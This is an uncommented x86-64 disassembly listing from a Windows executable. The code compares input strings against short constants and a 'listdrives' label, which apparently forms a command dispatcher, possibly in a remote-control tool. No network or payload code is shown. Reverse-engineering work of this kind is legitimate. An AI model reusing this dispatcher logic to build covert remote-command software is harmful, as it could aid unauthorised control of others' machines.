lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
jmp 0x140003e50
mov rdx, qword [rbx + 0x10]
mov r8, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140004f59
mov r8, qword [rbx]
cmp rdx, 3
jne 0x140005033
lea rcx, [0x140012050]
sub r8, rcx
nop dword [rax]
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x140005033
add rcx, 2
sub rdx, 1
jne 0x140004f70
lea rdx, [0x1400190f8]
cmp qword [0x140019110], 7
cmova rdx, qword [0x1400190f8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov r8, qword [0x140019108]
lea rcx, [rsp + 0x28]
call fcn.140008460
nop
mov rdx, rsi
lea rcx, [rsp + 0x28]
call fcn.1400047c0
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 7
jbe 0x14000506c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000501d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000501d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
jmp fcn.14000ea70
mov rdx, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 7
jbe 0x140005041
mov rbx, qword [rbx]
cmp rdx, 0xa
jne 0x14000506c
lea rcx, str.listdrives
sub rbx, rcx
movzx eax, word [rcx + rbx]
cmp ax, word [rcx]
jne 0x14000506c
add rcx, 2
sub rdx, 1
jne 0x140005051
mov rcx, rsi
call fcn.140004b40
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0x50
mov r8d, 3
xorps xmm0, xmm0
cmp qword [rcx + 0x10], r8
xorps xmm1, xmm1
mov rsi, rdx
mov rbx, rcx
cmovb r8, qword [rcx + 0x10]
mov rdx, rcx
cmp qword [rcx + 0x18], 7
movups xmmword [rsp + 0x28], xmm0
movdqu xmmword [rsp + 0x38], xmm1
jbe 0x1400050bd
mov rdx, qword [rcx]
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x70], rdi
call fcn.140008460
mov r10, qword [rsp + 0x40]
lea r8, [rsp + 0x28]
mov r9, qword [rsp + 0x28]
cmp r10, 7
mov rdx, qword [rsp + 0x38]
cmova r8, r9
cmp rdx, 3
jne 0x14000511d
lea rcx, [0x140012048]
test rdx, rdx
je 0x140005194
sub r8, rcx
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x14000511d
add rcx, 2
sub rdx, 1
jne 0x140005101
mov dil, 1
jmp 0x14000519c
cmp qword [rbx + 0x18], 7
mov r8, rbx
mov rdx, qword [rbx + 0x10]
jbe 0x14000512e
mov r8, qword [rbx]
cmp rdx, 3
jne 0x140005159
lea rcx, [0x140012050]
sub r8, rcx
nop
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x140005159
add rcx, 2
sub rdx, 1
jne 0x140005140
mov dil, 1
jmp 0x14000519c
cmp qword [rbx + 0x18], 7
mov r8, rbx
mov rdx, qword [rbx + 0x10]
jbe 0x14000516a
mov r8, qword [rbx]
cmp rdx, 0xa
jne 0x140005199
lea rcx, str.listdrives
sub r8, rcx
nop word [rax + rax]
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x140005199
add rcx, 2
sub rdx, 1
jne 0x140005180
mov dil, 1
jmp 0x14000519c
xor dil, dil
cmp r10, 7
jbe 0x1400051da
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x1400051d2
mov r9, qword [r9 - 8]
add rdx, 0x27
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400051d2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r9
call fcn.14000ea70
mov rdx, rsi
mov rcx, rbx
test dil, dil
je 0x1400051f9
mov rdi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rsi
jmp 0x140004e50
mov rdi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rsi
jmp 0x140003680